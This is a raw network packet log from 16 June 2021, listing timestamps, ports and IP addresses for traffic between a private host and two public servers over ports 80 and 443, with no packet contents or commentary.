Jun 16, 2021 12:06:04.292819977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292826891 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.292849064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.292882919 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.293296099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293339014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293366909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293380022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.293394089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293421030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293427944 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.293448925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293481112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293482065 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.293509960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293535948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293544054 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.293564081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293590069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293600082 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.293618917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293648958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293653965 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.293675900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293704987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293706894 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.293732882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.293765068 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.294234037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294274092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294303894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294326067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.294332981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294362068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294379950 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.294392109 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294420958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294423103 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.294450998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294475079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294485092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.294500113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294528008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294547081 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.294558048 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294586897 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294589996 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.294616938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294647932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294655085 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.294677019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.294711113 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.295150042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.298099041 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:09.769906998 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:09.821878910 CEST	443	49171	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:09.822029114 CEST	49171	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:09.935817003 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:09.987582922 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:09.987690926 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:09.988590956 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.040307999 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.040359974 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.040394068 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.040427923 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.040456057 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.040468931 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.040489912 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.047739029 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.047785997 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.047837973 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.098784924 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.156439066 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.160892963 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.212718964 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.215893984 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.267695904 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.269231081 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.321008921 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.322216988 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.364212990 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.364273071 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.373984098 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.374028921 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.374051094 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.374064922 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.374070883 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.374089956 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.374104023 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.374142885 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.374155045 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.374165058 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.416053057 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.416169882 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.425808907 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.425843000 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.425858974 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.425879002 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.425885916 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.425901890 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.425919056 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.425923109 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.425940037 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.425945044 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.425954103 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.425965071 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.425986052 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.426007032 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.426213980 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.470094919 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.470139027 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.470161915 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.470194101 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.470220089 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.470263004 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:10.479346991 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479382038 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479403973 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479428053 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479448080 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479470015 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479494095 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479513884 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479537010 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479557037 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479578018 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.479598045 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.524210930 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.524291039 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.524338007 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.524380922 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.524418116 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:10.524458885 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:11.043916941 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:11.043948889 CEST	443	49172	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:11.044089079 CEST	49172	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:11.656105042 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:11.698344946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.023540974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.023567915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.023592949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.023617983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.023642063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.023667097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.023682117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.023688078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.023704052 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.023720980 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.596404076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596509933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596563101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596597910 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.596615076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596662045 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.596664906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596714020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596757889 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.596761942 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596811056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596853971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.596859932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596908092 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596947908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.596956968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.596981049 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597008944 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597049952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597058058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597106934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597147942 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597155094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597204924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597244978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597254038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597301960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597313881 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597352028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597393990 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597399950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597450018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597490072 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597512960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597609043 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597695112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597754002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597800970 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597815037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597875118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597919941 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.597934008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.597994089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598033905 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598047972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598104954 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598143101 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598164082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598222971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598263025 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598283052 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598287106 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598613024 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598664999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598680019 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598715067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598752975 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598762989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598803997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598812103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598850965 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598860025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598907948 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.598946095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.598956108 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.599004030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.599049091 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.599051952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.599100113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.599153042 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.599630117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.599811077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.599879980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.599904060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.599939108 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.599984884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.599993944 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600044012 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600073099 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.600099087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600145102 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.600153923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600209951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600256920 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.600264072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600313902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600361109 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.600565910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600632906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600682974 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.600707054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600722075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.600760937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600804090 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.600810051 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600858927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600902081 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.600907087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.600956917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601001024 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.601005077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601061106 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601104975 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.601115942 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601505995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601563931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601576090 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.601620913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601665974 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.601686001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601742983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601798058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.601804972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601830959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601856947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601872921 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.601882935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601908922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601927996 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.601934910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.601973057 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.602444887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602475882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602499008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602521896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602540016 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.602545023 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602566004 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.602567911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602590084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602607012 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.602612019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602632999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602650881 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.602654934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602684021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.602828026 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.602859020 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.603456974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603490114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603513002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603540897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603562117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.603574991 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.603653908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.603760004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603797913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603821993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603836060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.603846073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603868961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603893042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603898048 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.603915930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603929996 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.603938103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603960991 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.603975058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.603981018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604005098 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604018927 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.604736090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604773045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604800940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604803085 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.604827881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604841948 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.604856968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604883909 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604897022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.604909897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604937077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604949951 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.604964018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.604990005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605004072 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.605017900 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605056047 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.605725050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605756044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605782986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605796099 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.605808973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605839968 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.605854988 CEST	49169	80	192.168.2.22	172.67.158.27
